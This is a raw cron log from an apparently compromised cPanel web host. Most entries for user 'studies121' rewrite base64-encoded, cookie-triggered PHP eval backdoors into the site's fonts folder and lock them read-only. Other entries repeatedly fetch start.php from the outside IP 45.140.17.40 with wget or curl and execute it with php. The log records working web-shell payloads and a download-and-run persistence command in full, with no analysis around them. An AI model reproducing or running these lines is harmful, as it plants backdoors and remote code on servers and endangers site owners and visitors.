Sep  6 21:45:01 ip-184-168-122-23 CROND[1088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:45:01 ip-184-168-122-23 CROND[1091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:45:01 ip-184-168-122-23 CROND[1094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:45:01 ip-184-168-122-23 CROND[1097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:45:01 ip-184-168-122-23 CROND[1096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:46:01 ip-184-168-122-23 CROND[1183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:46:01 ip-184-168-122-23 CROND[1186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:46:01 ip-184-168-122-23 CROND[1187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:46:01 ip-184-168-122-23 CROND[1185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:46:01 ip-184-168-122-23 CROND[1188]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 21:46:01 ip-184-168-122-23 CROND[1190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:46:01 ip-184-168-122-23 CROND[1189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:47:01 ip-184-168-122-23 CROND[1294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:47:01 ip-184-168-122-23 CROND[1295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:47:01 ip-184-168-122-23 CROND[1293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:47:01 ip-184-168-122-23 CROND[1297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:48:01 ip-184-168-122-23 CROND[1391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:48:01 ip-184-168-122-23 CROND[1393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:48:01 ip-184-168-122-23 CROND[1395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:48:01 ip-184-168-122-23 CROND[1394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:48:01 ip-184-168-122-23 CROND[1396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:49:01 ip-184-168-122-23 CROND[1526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:49:01 ip-184-168-122-23 CROND[1529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:49:01 ip-184-168-122-23 CROND[1527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:49:01 ip-184-168-122-23 CROND[1530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:50:02 ip-184-168-122-23 CROND[1625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:50:02 ip-184-168-122-23 CROND[1630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:50:02 ip-184-168-122-23 CROND[1631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:51:01 ip-184-168-122-23 CROND[1729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:51:01 ip-184-168-122-23 CROND[1730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:51:01 ip-184-168-122-23 CROND[1731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:51:01 ip-184-168-122-23 CROND[1732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:52:01 ip-184-168-122-23 CROND[1822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:52:01 ip-184-168-122-23 CROND[1823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:52:01 ip-184-168-122-23 CROND[1824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:52:01 ip-184-168-122-23 CROND[1825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:52:01 ip-184-168-122-23 CROND[1826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:53:01 ip-184-168-122-23 CROND[1945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:53:01 ip-184-168-122-23 CROND[1946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:53:01 ip-184-168-122-23 CROND[1950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:53:01 ip-184-168-122-23 CROND[1951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:54:01 ip-184-168-122-23 CROND[2120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:54:01 ip-184-168-122-23 CROND[2122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:54:01 ip-184-168-122-23 CROND[2123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:54:01 ip-184-168-122-23 CROND[2125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:54:01 ip-184-168-122-23 CROND[2126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:55:01 ip-184-168-122-23 CROND[2218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:55:01 ip-184-168-122-23 CROND[2222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:55:01 ip-184-168-122-23 CROND[2220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:55:01 ip-184-168-122-23 CROND[2221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:55:01 ip-184-168-122-23 CROND[2224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:55:01 ip-184-168-122-23 CROND[2223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:56:01 ip-184-168-122-23 CROND[2311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:56:01 ip-184-168-122-23 CROND[2314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:56:01 ip-184-168-122-23 CROND[2312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:56:01 ip-184-168-122-23 CROND[2315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:56:01 ip-184-168-122-23 CROND[2313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:57:01 ip-184-168-122-23 CROND[2406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:57:01 ip-184-168-122-23 CROND[2408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:57:01 ip-184-168-122-23 CROND[2407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
